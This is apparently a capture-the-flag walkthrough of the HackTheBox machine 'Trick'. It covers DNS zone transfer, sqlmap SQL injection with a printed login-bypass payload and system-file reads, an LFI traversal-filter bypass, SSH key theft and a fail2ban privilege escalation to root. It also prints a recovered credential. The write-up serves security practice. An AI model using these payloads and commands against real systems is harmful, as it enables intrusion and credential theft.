Trick HackTheBox

Trick HackTheBox

Trick is an Easy Linux machine that features a DNS server and multiple vHost’s that all require various steps to gain a foothold. It requires basic knowledge of DNS in order to get a domain name and then subdomain that can be used to access the first vHost. On the first vHost we are greeted with a Payroll Management System that is vulnerable to SQL Injection. Using sqlmap we find we have file privileges and can read system files. Reading an Nginx configuration file reveals another vHost. This vHost contains a Local File Inclusion (LFI) vulnerability that can be exploited. Sending a mail to one of the users with PHP code embedded and then including that mail with the LFI allows for Remote Code Execution (RCE). After the initial foothold we find a Sudo command that can be executed without a password. The command restarts the fail2ban service. The configuration directory of fail2ban contains a directory that is owned by a group that the current user is part of. The user has write access to the directory and can rename a configuration file and replace it with their own, which leads to Remote Code Execution as root once a ban is triggered.

Initial Foothold

Rustscan

Using rustscan to find the open ports and services running on the machine.

rustscan -a 10.129.227.180 -r 1-65535 -- -sC -sV -vv -oA nmap/trick 10.129.227.180

This is a linux machine with SMTP, DNS, SSH and HTTP ports open on the box.

DNS Enumeration

Lets enumerate DNS

dig -x 10.129.227.180 @10.129.227.180

By this we know that the box ip resolves to trick.htb.

Lets add this to our /etc/hosts file.

Trying to perform a DNS zone transfer we have another subdomain.

dig axfr @10.129.227.180 trick.htb

Lets add preprod-payroll.trick.htb to our /etc/hosts file.

Now we enumerate the websites.

Web Enumeration

Now that we have a hostname lets visit the page and see.

Nothing interesting found on the page.

Visiting our previously found subdomain we have this page.

Running gobuster to find the hidden pages and directories.

gobuster dir -u http://preprod-payroll.trick.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -t 100

Some interesting directories found but we dont have authorization.

Lets check for sql injection in the form.

Exploitation

SQL Injection with SqlMap

Using sqlmap to automate the process for the sql injection.

sqlmap --url http://preprod-payroll.trick.htb/login.php --batch --forms --level 3 --risk 3

Its failing so I captured the request in burp and gave it sqlmap again.

sqlmap -r trick.req --batch --level 5 --risk 3

So now we have the payload for the SQLinjection.

Manully used SQL Injection payload which works in almost all the machines is

-3257' OR 5422=5422-- EDxl

This payload also lets us in as an Administrator.

Lets now try to get more data from the server by exploiting the injection.

Now enumerating the Databases.

sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql --dbs

Lets take a look at the payroll_db and its tables.

sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql -D payroll_db --tables

Lets now dump the user’s table.

sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql -D payroll_db -T users --dump

We now have the administrator password and a username as enemigoss:SuperGucciRainbowCake

Nginx vhost config

The user enemigosss is not on the box since we cant ssh as him.

Lets look at the privileges the current database user has

sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql -D payroll_db --privileges

This means we can read files, lets try to read /etc/passwd file on the server to look at the usernames present on the box.

sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql --file-read=/etc/passwd

We have the /etc/passwd file download lets take a look.

Trying to login as micheal using ssh and it failed! with the administrator’s password.

Now for the next steps we can take a look at the vhost config file on the web server, lets download that using sqlmap.

sqlmap -r trick.req --batch --level 5 --risk 3 --dbms=mysql --file-read=/etc/nginx/sites-enabled/default

We have another vhost as preprod-marketing.trick.htb, adding this to our /etc/hosts file and visiting it.

LFI in preprod-marketing

Going through the webpage nothing really interesting found on it. So I searched for LFI on the pages since the url has the page parameter.

Normally ../../../../etc/passwd was getting filtered out, maybe ../../ is not allowed, So I tested it with this payload.

....//....//....//....//....//etc/passwd

And we were able to get the /etc/passwd file on the server.

Now we can try to read the sensitive system files.

Shell as Michael

Lets try to read id_rsa file for the user michael.

Lets now ssh as micheal.

chmod 600 id_rsa
ssh -i id_rsa-michael michael@trick.htb

We can also see that michael is also a part of security.

Privilege Escalation

Fail2Ban

While enumerating we can see that michael has permission to run fail2ban as root.

sudo -l

Now as a part of security group, we have privileges to edit files in the action.d folder.

Also looking at the jail.conf file we have this

This means that we can edit the iptables-multiport file and after restarting fail2ban as root the execution is taking place as root.

We force wrote the above payload which set suid to /bin/bash binary.

Shell as root

Now we restart the fail2ban service as user root.

Then we make some incorrect attempts as michael for eg using ssh.

ssh michael@trick.htb

And after some time we have set the suid bit to /bin/bash

Now we can read the root.txt

Rooted!